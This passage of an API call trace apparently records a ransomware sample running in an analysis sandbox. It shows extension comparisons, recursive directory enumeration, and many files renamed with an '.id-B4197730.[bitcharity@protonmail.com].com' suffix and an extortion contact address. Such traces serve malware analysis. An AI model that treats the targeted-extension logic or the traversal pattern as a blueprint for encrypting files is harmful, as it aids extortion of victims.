(lpString=".mpv") returned 4 [0241.705] lstrcmpiW (lpString1=".mpv", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".mrw") returned 4 [0241.705] lstrcmpiW (lpString1=".mrw", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".msg") returned 4 [0241.705] lstrcmpiW (lpString1=".msg", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".mxl") returned 4 [0241.705] lstrcmpiW (lpString1=".mxl", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".myd") returned 4 [0241.705] lstrcmpiW (lpString1=".myd", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".myi") returned 4 [0241.705] lstrcmpiW (lpString1=".myi", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".nef") returned 4 [0241.705] lstrcmpiW (lpString1=".nef", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".nrw") returned 4 [0241.705] lstrcmpiW (lpString1=".nrw", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".obj") returned 4 [0241.705] lstrcmpiW (lpString1=".obj", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".odb") returned 4 [0241.705] lstrcmpiW (lpString1=".odb", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".odc") returned 4 [0241.705] lstrcmpiW (lpString1=".odc", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".odm") returned 4 [0241.705] lstrcmpiW (lpString1=".odm", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".odp") returned 4 [0241.705] lstrcmpiW (lpString1=".odp", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".ods") returned 4 [0241.705] lstrcmpiW (lpString1=".ods", lpString2=".com") returned 1 [0241.705] lstrlenW (lpString=".oft") returned 4 [0241.706] lstrcmpiW (lpString1=".oft", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".one") returned 4 [0241.706] lstrcmpiW (lpString1=".one", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".onepkg") returned 7 [0241.706] lstrcmpiW (lpString1=".onepkg", lpString2="om].com") returned -1 [0241.706] lstrlenW (lpString=".onetoc2") returned 8 [0241.706] lstrcmpiW (lpString1=".onetoc2", lpString2="com].com") returned -1 [0241.706] lstrlenW (lpString=".opt") returned 4 [0241.706] lstrcmpiW (lpString1=".opt", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".oqy") returned 4 [0241.706] lstrcmpiW (lpString1=".oqy", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".orf") returned 4 [0241.706] lstrcmpiW (lpString1=".orf", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".p12") returned 4 [0241.706] lstrcmpiW (lpString1=".p12", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".p7b") returned 4 [0241.706] lstrcmpiW (lpString1=".p7b", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".p7c") returned 4 [0241.706] lstrcmpiW (lpString1=".p7c", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".pam") returned 4 [0241.706] lstrcmpiW (lpString1=".pam", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".pbm") returned 4 [0241.706] lstrcmpiW (lpString1=".pbm", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".pct") returned 4 [0241.706] lstrcmpiW (lpString1=".pct", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".pcx") returned 4 [0241.706] lstrcmpiW (lpString1=".pcx", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".pdd") returned 4 [0241.706] lstrcmpiW (lpString1=".pdd", lpString2=".com") returned 1 [0241.706] lstrlenW (lpString=".pdf") returned 4 [0241.707] lstrcmpiW (lpString1=".pdf", lpString2=".com") returned 1 [0241.707] lstrlenW (lpString=".pdp") returned 4 [0241.707] lstrcmpiW (lpString1=".pdp", lpString2=".com") returned 1 [0241.707] lstrlenW (lpString=".pef") returned 4 [0241.707] lstrcmpiW (lpString1=".pef", lpString2=".com") returned 1 [0241.707] lstrlenW (lpString=".pem") returned 4 [0241.707] lstrcmpiW (lpString1=".pem", lpString2=".com") returned 1 [0241.707] lstrlenW (lpString=".pff") returned 4 [0241.707] lstrcmpiW (lpString1=".pff", lpString2=".com") returned 1 [0241.707] lstrlenW (lpString=".pfm") returned 4 [0241.707] lstrcmpiW (lpString1=".pfm", lpString2=".com") returned 1 [0241.707] lstrlenW (lpString=".pfx") returned 4 [0241.707] lstrcmpiW (lpString1=".pfx", lpString2=".com") returned 1 [0241.707] lstrlenW (lpString=".pgm") returned 4 [0241.707] lstrcmpiW (lpString1=".pgm", lpString2=".com") returned 1 [0241.707] lstrlenW (lpString=".php") returned 4 [0241.707] lstrcmpiW (lpString1=".php", lpString2=".com") returned 1 [0241.707] lstrlenW (lpString=".php3") returned 5 [0241.707] lstrcmpiW (lpString1=".php3", lpString2="].com") returned -1 [0241.707] lstrlenW (lpString=".php4") returned 5 [0241.707] lstrcmpiW (lpString1=".php4", lpString2="].com") returned -1 [0241.707] lstrlenW (lpString=".php5") returned 5 [0241.707] lstrcmpiW (lpString1=".php5", lpString2="].com") returned -1 [0241.707] lstrlenW (lpString=".phtml") returned 6 [0241.707] lstrcmpiW (lpString1=".phtml", lpString2="m].com") returned -1 [0241.707] lstrlenW (lpString=".pict") returned 5 [0241.707] lstrcmpiW (lpString1=".pict", lpString2="].com") returned -1 [0241.707] lstrlenW (lpString=".pl") returned 3 [0241.707] lstrcmpiW (lpString1=".pl", lpString2="com") returned -1 [0241.708] lstrlenW (lpString=".pls") returned 4 [0241.708] lstrcmpiW (lpString1=".pls", lpString2=".com") returned 1 [0241.708] lstrlenW (lpString=".pm") returned 3 [0241.708] lstrcmpiW (lpString1=".pm", lpString2="com") returned -1 [0241.708] lstrlenW (lpString=".png") returned 4 [0241.708] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0241.708] lstrlenW (lpString=".pnm") returned 4 [0241.708] lstrcmpiW (lpString1=".pnm", lpString2=".com") returned 1 [0241.708] lstrlenW (lpString=".pot") returned 4 [0241.708] lstrcmpiW (lpString1=".pot", lpString2=".com") returned 1 [0241.708] lstrlenW (lpString=".potm") returned 5 [0241.708] lstrcmpiW (lpString1=".potm", lpString2="].com") returned -1 [0241.708] lstrlenW (lpString=".potx") returned 5 [0241.708] lstrcmpiW (lpString1=".potx", lpString2="].com") returned -1 [0241.708] lstrlenW (lpString=".ppa") returned 4 [0241.708] lstrcmpiW (lpString1=".ppa", lpString2=".com") returned 1 [0241.708] lstrlenW (lpString=".ppam") returned 5 [0241.708] lstrcmpiW (lpString1=".ppam", lpString2="].com") returned -1 [0241.708] lstrlenW (lpString=".ppm") returned 4 [0241.708] lstrcmpiW (lpString1=".ppm", lpString2=".com") returned 1 [0241.708] lstrlenW (lpString=".pps") returned 4 [0241.708] lstrcmpiW (lpString1=".pps", lpString2=".com") returned 1 [0241.708] lstrlenW (lpString=".ppsm") returned 5 [0241.708] lstrcmpiW (lpString1=".ppsm", lpString2="].com") returned -1 [0241.708] lstrlenW (lpString=".ppt") returned 4 [0241.708] lstrcmpiW (lpString1=".ppt", lpString2=".com") returned 1 [0241.708] lstrlenW (lpString=".pptm") returned 5 [0241.708] lstrcmpiW (lpString1=".pptm", lpString2="].com") returned -1 [0241.708] lstrlenW (lpString=".pptx") returned 5 [0241.708] lstrcmpiW (lpString1=".pptx", lpString2="].com") returned -1 [0241.709] lstrlenW (lpString=".prn") returned 4 [0241.709] lstrcmpiW (lpString1=".prn", lpString2=".com") returned 1 [0241.709] lstrlenW (lpString=".ps") returned 3 [0241.709] lstrcmpiW (lpString1=".ps", lpString2="com") returned -1 [0241.709] lstrlenW (lpString=".psb") returned 4 [0241.709] lstrcmpiW (lpString1=".psb", lpString2=".com") returned 1 [0241.709] lstrlenW (lpString=".psd") returned 4 [0241.709] lstrcmpiW (lpString1=".psd", lpString2=".com") returned 1 [0241.709] lstrlenW (lpString=".pst") returned 4 [0241.709] lstrcmpiW (lpString1=".pst", lpString2=".com") returned 1 [0241.709] lstrlenW (lpString=".ptx") returned 4 [0241.709] lstrcmpiW (lpString1=".ptx", lpString2=".com") returned 1 [0241.709] lstrlenW (lpString=".pub") returned 4 [0241.709] lstrcmpiW (lpString1=".pub", lpString2=".com") returned 1 [0241.709] lstrlenW (lpString=".pwm") returned 4 [0241.709] lstrcmpiW (lpString1=".pwm", lpString2=".com") returned 1 [0241.709] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3031f979, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3031f979, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3038d36e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="OOBE_2~1.COM")) returned 1 [0241.709] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302f4b43, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x302f4b43, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x302f4b43, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARTNE~1.COM")) returned 1 [0241.709] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302f4b43, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x302f4b43, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x302f4b43, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARTNE~1.COM")) returned 0 [0241.709] FindClose (in: hFindFile=0x64a0d8 | out: hFindFile=0x64a0d8) returned 1 [0241.710] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.710] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0241.711] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x64a0d8 [0241.711] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.712] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303b37e0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x303b37e0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x307b3c55, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="GETCUR~1.COM")) returned 1 [0241.712] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3071b160, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3071b160, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x307414b7, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="GETCUR~2.COM")) returned 1 [0241.712] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303b37e0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x303b37e0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31306eb6, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARTNE~1.COM")) returned 1 [0241.712] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30340f2e, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x30340f2e, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3036706f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PREOOB~1.COM")) returned 1 [0241.712] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30767761, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x30767761, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3078da14, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPC~1.COM")) returned 1 [0241.712] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30767761, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x30767761, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3078da14, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPC~1.COM")) returned 0 [0241.712] FindClose (in: hFindFile=0x64a0d8 | out: hFindFile=0x64a0d8) returned 1 [0241.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.713] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0241.713] FindClose (in: hFindFile=0x64a1d8 | out: hFindFile=0x64a1d8) returned 1 [0241.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0241.714] FindNextFileW (in: hFindFile=0x649e18, lpFindFileData=0x2a1fcf8 | out: lpFindFileData=0x2a1fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0241.714] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x64a1d8 [0241.714] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0241.714] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0241.714] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="╰o\x08")) returned 0xffffffff [0241.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.715] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0241.715] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x64a0d8 [0241.715] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.715] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc0600132, ftCreationTime.dwHighDateTime=0x1d501b3, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0241.715] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3065c648, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3065c648, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x308bec81, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DESKTO~1.COM")) returned 1 [0241.715] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3065c648, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3065c648, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x308bec81, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DESKTO~1.COM")) returned 0 [0241.715] FindClose (in: hFindFile=0x64a0d8 | out: hFindFile=0x64a0d8) returned 1 [0241.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.715] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0241.715] FindClose (in: hFindFile=0x64a1d8 | out: hFindFile=0x64a1d8) returned 1 [0241.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0241.716] FindNextFileW (in: hFindFile=0x649e18, lpFindFileData=0x2a1fcf8 | out: lpFindFileData=0x2a1fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0241.716] FindNextFileW (in: hFindFile=0x649e18, lpFindFileData=0x2a1fcf8 | out: lpFindFileData=0x2a1fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x370c4303, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x370c4303, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0241.716] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x370c4303, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x370c4303, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x64a0d8 [0241.716] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x370c4303, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x370c4303, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0241.716] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0241.716] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, 